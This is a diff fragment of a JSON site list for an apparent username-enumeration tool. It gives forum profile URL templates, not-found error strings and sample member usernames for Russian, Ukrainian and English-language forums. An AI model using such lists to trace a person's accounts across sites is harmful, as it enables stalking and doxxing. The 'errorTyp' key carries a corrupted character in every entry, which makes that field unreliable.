+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nooneaboveus.ucoz.ru",
+ "usernameON": "Лана",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_nordog": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nordog.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nordog.ucoz.ru",
+ "usernameON": "gutan1201",
+ "bad_site": ""
+ },
+ "Forum_northernbrewer": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://forum.northernbrewer.com/users/{}/activity",
+ "urlMain": "https://forum.northernbrewer.com",
+ "usernameON": "joonze",
+ "bad_site": ""
+ },
+ "Forum_northstandchat": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.northstandchat.com/members/?username={}",
+ "urlMain": "https://www.northstandchat.com",
+ "usernameON": "hitony",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nosmoking": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://nosmoking.ru",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Forum_Not_606": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://not606.com/members/?username={}",
+ "urlMain": "https://not606.com",
+ "usernameON": "fromthestands",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_nousch1": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nousch1.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://nousch1.ucoz.ru",
+ "usernameON": "Lostoff",
+ "bad_site": ""
+ },
+ "Forum_novascotiahunting": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.novascotiahunting.com/members/?username={}",
+ "urlMain": "https://www.novascotiahunting.com",
+ "usernameON": "3macs1",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_novelupdates": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.novelupdates.com/members/?username={}",
+ "urlMain": "https://forum.novelupdates.com",
+ "usernameON": "lilly2805",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_novelupdatesforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.novelupdatesforum.com/members/?username={}",
+ "urlMain": "https://www.novelupdatesforum.com",
+ "usernameON": "parth37955",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_novfishing": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "К сожалению, возникла проблема ",
+ "errorTyp��": "message",
+ "url": "https://novfishing.ru/search/?&q={}&type=core_members",
+ "urlMain": "https://novfishing.ru",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_novoe-chelovech": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://novoe-chelovech.ucoz.ru",
+ "usernameON": "Asteroidbum",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_novokrasnyanka": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}",
+ "urlMain": "https://novokrasnyanka.ucoz.ua",
+ "usernameON": "vilniy",
+ "bad_site": ""
+ },
+ "Forum_novsevkuchino": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://novsevkuchino.my1.ru/index/8-0-{}",
+ "urlMain": "https://novsevkuchino.my1.ru",
+ "usernameON": "Zews",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_npest": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://npest.moy.su/index/8-0-{}",
+ "urlMain": "https://npest.moy.su",
+ "usernameON": "Juku",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_nsk-cb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "Insufficient Storage ",
+ "errorTyp��": "message",
+ "url": "http://forum.nsk-cb.ru/memberlist.php?username={}",
+ "urlMain": "http://forum.nsk-cb.ru",
+ "usernameON": "abjectradical82",
+ "bad_site": ""
+ },
+ "Forum_nsk_clan": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://nsk.clan.su/index/8-0-{}",
+ "urlMain": "https://nsk.clan.su",
+ "usernameON": "Elnor",
+ "bad_site": ""
+ },
+ "Forum_nsu": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://forum.nsu.ru",
+ "usernameON": "Znaika",
+ "bad_site": 1
+ },
+ "Forum_ntc_party": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://ntc.party/u/{}",
+ "urlMain": "https://ntc.party",
+ "usernameON": "tango",
+ "bad_site": ""
+ },
+ "Forum_nudostar": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://nudostar.com/forum/members/?username={}",
+ "urlMain": "https://nudostar.com",
+ "usernameON": "ahmedhananii",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nulled_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=",
+ "urlMain": "https://www.nulled.to",
+ "usernameON": "crybaby20240",
+ "bad_site": 1
+ },
+ "Forum_numis": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.numisforums.com",
+ "usernameON": "rasiel",
+ "bad_site": ""
+ },
+ "Forum_nunchaku": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>",
+ "errorTyp��": "message",
+ "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.nvworld.ru",
+ "usernameON": "epddsns",
+ "bad_site": ""
+ },
+ "Forum_nyangler": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://nyangler.com/members/?username={}",
+ "urlMain": "https://nyangler.com",
+ "usernameON": "leprechaun",
+ "comments": "zamedlenie",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nybass": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.nybass.com/members/?username={}",
+ "urlMain": "https://www.nybass.com",
+ "usernameON": "jaysen",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_nyccnc": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Oops",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://nyccnc.com/forums/users/{}/",
+ "urlMain": "https://nyccnc.com/",
+ "usernameON": "ltborg",
+ "bad_site": ""
+ },
+ "Forum_nycfire": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.nycfire.net/forums/members/?username={}",
+ "urlMain": "https://www.nycfire.net",
+ "usernameON": "signal73",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_obama_ucoz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://obama.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://obama.ucoz.ru",
+ "usernameON": "uKc",
+ "bad_site": ""
+ },
+ "Forum_obkon": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://obkon.ucoz.com/index/8-0-{}",
+ "urlMain": "https://obkon.ucoz.com",
+ "usernameON": "ninokids",
+ "bad_site": ""
+ },
+ "Forum_obninskchess": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Page not found",
+ "errorMsg2": "404",
+ "errorTyp��": "message",
+ "url": "https://chessiki.ru/forums/profile/{}",
+ "urlMain": "https://chessiki.ru/",
+ "usernameON": "lvdraphael",
+ "bad_site": ""
+ },
+ "Forum_obovcem": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://obovcem.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://obovcem.ucoz.ru/",
+ "usernameON": "Obovcem",
+ "bad_site": ""
+ },
+ "Forum_obovsem_piter": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://obzhorkinsajt.ucoz.ru",
+ "usernameON": "iisus1996",
+ "bad_site": ""
+ },
+ "Forum_octothorp": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.octothorp.team/user/{}",
+ "urlMain": "https://forum.octothorp.team",
+ "usernameON": "porkove",
+ "bad_site": ""
+ },
+ "Forum_odessacrewing": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://odessacrewing.kamrbb.ru",
+ "usernameON": "csplus",
+ "bad_site": ""
+ },
+ "Forum_odinhram": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://odinhram.3dn.ru/index/8-0-{}",
+ "urlMain": "https://odinhram.3dn.ru",
+ "usernameON": "elenas",
+ "bad_site": ""
+ },
+ "Forum_odinochestvo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://odinochestvo.moy.su/index/8-0-{}",
+ "urlMain": "https://odinochestvo.moy.su",
+ "usernameON": "Marion",
+ "bad_site": ""
+ },
+ "Forum_odnokursniki": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://odnokursniki.clan.su/index/8-0-{}",
+ "urlMain": "https://odnokursniki.clan.su",
+ "usernameON": "vsetransport",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_odonvv": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://odonvv.ru/index/8-0-{}",
+ "urlMain": "https://odonvv.ru",
+ "usernameON": "Vodoley",
+ "bad_site": ""
+ },
+ "Forum_officiating": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": " ",
+ "errorMsg2": "Sorry",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://offthepost.org",
+ "usernameON": "Bosc",
+ "bad_site": ""
+ },
+ "Forum_ofo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ofo.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://ofo.ucoz.ru",
+ "usernameON": "sudba",
+ "bad_site": ""
+ },
+ "Forum_ogxbox": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://www.ogxbox.com",
+ "usernameON": "dtomcat",
+ "bad_site": ""
+ },
+ "Forum_ohiogamefishing": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.ohiogamefishing.com/members/?username={}",
+ "urlMain": "https://www.ohiogamefishing.com",
+ "usernameON": "deadeyedeek",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ohiosportsman": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.ohiosportsman.com/members/?username={}",
+ "urlMain": "https://www.ohiosportsman.com",
+ "usernameON": "pbudi59",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ohiowaterfowler": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.ohiowaterfowlerforum.com/members/?username={}",
+ "urlMain": "https://www.ohiowaterfowlerforum.com",
+ "usernameON": "jimmy81",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ohota-ribalka": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ohota-ribalka.at.ua/index/8-0-{}",
+ "urlMain": "https://ohota-ribalka.at.ua",
+ "usernameON": "gratch79",
+ "bad_site": ""
+ },
+ "Forum_ohrana-truda": {
+ "country": "🇧🇾",
+ "country_klas": "BY",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.ohrana-truda.by",
+ "usernameON": "admin",
+ "bad_site": ""
+ },
+ "Forum_oih_med": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "403 Forbidden",
+ "errorMsg2": "Пользователь не найден",
+ "errorTyp��": "message",
+ "url": "https://oih.at.ua/index/8-0-{}",
+ "urlMain": "https://oih.at.ua",
+ "usernameON": "fiorella",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_oil-club": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Just a moment",
+ "errorMsg2": "Found 0 results",
+ "errorMsg3": "Найдено 0",
+ "errorTyp��": "message",
+ "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.oil-club.ru",
+ "usernameON": "tattoedarm",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Forum_oilburners": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.oilburners.net/members/?username={}",
+ "urlMain": "https://www.oilburners.net",
+ "usernameON": "kansasidi",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_oklahomahunter": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.oklahomahunter.net/members/?username={}",
+ "urlMain": "https://www.oklahomahunter.net",
+ "usernameON": "drc458",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_okna-7": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://okna-7.my1.ru/index/8-0-{}",
+ "urlMain": "https://okna-7.my1.ru",
+ "usernameON": "roterb",
+ "bad_site": ""
+ },
+ "Forum_old_ap": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://old.ap-pro.ru/index/8-0-{}",
+ "urlMain": "http://old.ap-pro.ru/",
+ "usernameON": "dkfllelfhtd",
+ "bad_site": ""
+ },
+ "Forum_old_sukhoi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "robots\" content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "http://old.sukhoi.ru/forum/member.php?username={}",
+ "urlMain": "http://old.sukhoi.ru",
+ "usernameON": "GreyWind",
+ "bad_site": ""
+ },
+ "Forum_oldbel-kovalevo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://oldbel-kovalevo.ucoz.ru",
+ "usernameON": "skorodihin",
+ "bad_site": ""
+ },
+ "Forum_oldclassiccar": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Sorry,",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://www.oldclassiccar.co.uk",
+ "usernameON": "davids",
+ "bad_site": ""
+ },
+ "Forum_oldmeloman": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://oldmeloman.kamrbb.ru",
+ "usernameON": "gustava",
+ "bad_site": ""
+ },
+ "Forum_oldones": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.oldones.org/index/8-0-{}",
+ "urlMain": "http://www.oldones.org",
+ "usernameON": "rpavel693",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "forum_oldpokemon": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя по заданным критериям",
+ "errorMsg2": "0 пользователей",
+ "errorTyp��": "message",
+ "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}",
+ "urlMain": "https://forum.oldpokemon.ru",
+ "usernameON": "BisQuit",
+ "bad_site": 1
+ },
+ "Forum_olujaz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://olujaz.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://olujaz.ucoz.ru",
+ "usernameON": "ccbeclexanthirt",
+ "bad_site": ""
+ },
+ "Forum_oluss": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://oluss.at.ua/index/8-0-{}",
+ "urlMain": "https://oluss.at.ua",
+ "usernameON": "oluss",
+ "bad_site": ""
+ },
+ "Forum_omaddiet": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://omaddiet.com/community/members/?username={}",
+ "urlMain": "https://omaddiet.com",
+ "usernameON": "sumeria9",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_omega": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://omegaforums.net/members/?username={}",
+ "urlMain": "https://omegaforums.net",
+ "usernameON": "fsg",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_oms": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://oms.ucoz.com/index/8-0-{}",
+ "urlMain": "https://oms.ucoz.com",
+ "usernameON": "pysarievai",
+ "bad_site": ""
+ },
+ "Forum_omskmama": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Извините, такого пользователя не существует",
+ "errorMsg2": "ОмскМама ",
+ "errorTyp��": "message",
+ "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://forum.omskmama.ru",
+ "usernameON": "vo24uk",
+ "bad_site": ""
+ },
+ "Forum_onbankir": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://onbankir.moy.su/index/8-0-{}",
+ "urlMain": "https://onbankir.moy.su",
+ "usernameON": "burenokscody",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_oneclickchicks": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "One Click Chicks Forum ",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://forum.oneclickchicks.com/member.php?username={}",
+ "urlMain": "https://forum.oneclickchicks.com",
+ "usernameON": "osreb",
+ "bad_site": ""
+ },
+ "Forum_onefinitycnc": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.onefinitycnc.com/u/{}/summary",
+ "urlMain": "https://forum.onefinitycnc.com/",
+ "usernameON": "tahoe1840",
+ "bad_site": ""
+ },
+ "Forum_online-dendy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://online-dendy.ru/index/8-0-{}",
+ "urlMain": "http://online-dendy.ru",
+ "usernameON": "fumssHesy",
+ "bad_site": ""
+ },
+ "Forum_online-knigi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "url": "https://forum.online-knigi.com/members/?username={}",
+ "urlMain": "https://forum.online-knigi.com",
+ "usernameON": "brazilla",
+ "bad_site": 1,
+ "comments": "bad",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_online-money": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://online-money.3dn.ru/index/8-0-{}",
+ "urlMain": "https://online-money.3dn.ru",
+ "usernameON": "JafidNub",
+ "bad_site": ""
+ },
+ "Forum_onlline-game_pp": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://onlline-game.pp.net.ua/index/8-0-{}",
+ "urlMain": "http://onlline-game.pp.net.ua",
+ "usernameON": "KREDO",
+ "bad_site": ""
+ },
+ "Forum_onlyfans": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "robots\" content=\"noindex, nofollow",
+ "errorMsg2": "Not Found",
+ "errorMsg3": "Verification ",
+ "errorTyp��": "message",
+ "url": "https://onlyfansforum.com/author/{}/",
+ "urlMain": "https://onlyfansforum.com",
+ "usernameON": "fapello",
+ "comments": "Oplata",
+ "bad_site": 1
+ },
+ "Forum_onlyrus": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://onlyrus.ucoz.net/index/8-0-{}",
+ "urlMain": "https://onlyrus.ucoz.net",
+ "usernameON": "gromovmail",
+ "bad_site": ""
+ },
+ "Forum_onlytech": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://onlytech.com/community/members/?username={}",
+ "urlMain": "https://onlytech.com",
+ "usernameON": "davidjohn91",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_onru": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://onru.my1.ru/index/8-0-{}",
+ "urlMain": "https://onru.my1.ru",
+ "usernameON": "Heavy",
+ "bad_site": ""
+ },
+ "Forum_onz-shot": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://onz-shot.3dn.ru/index/8-0-{}",
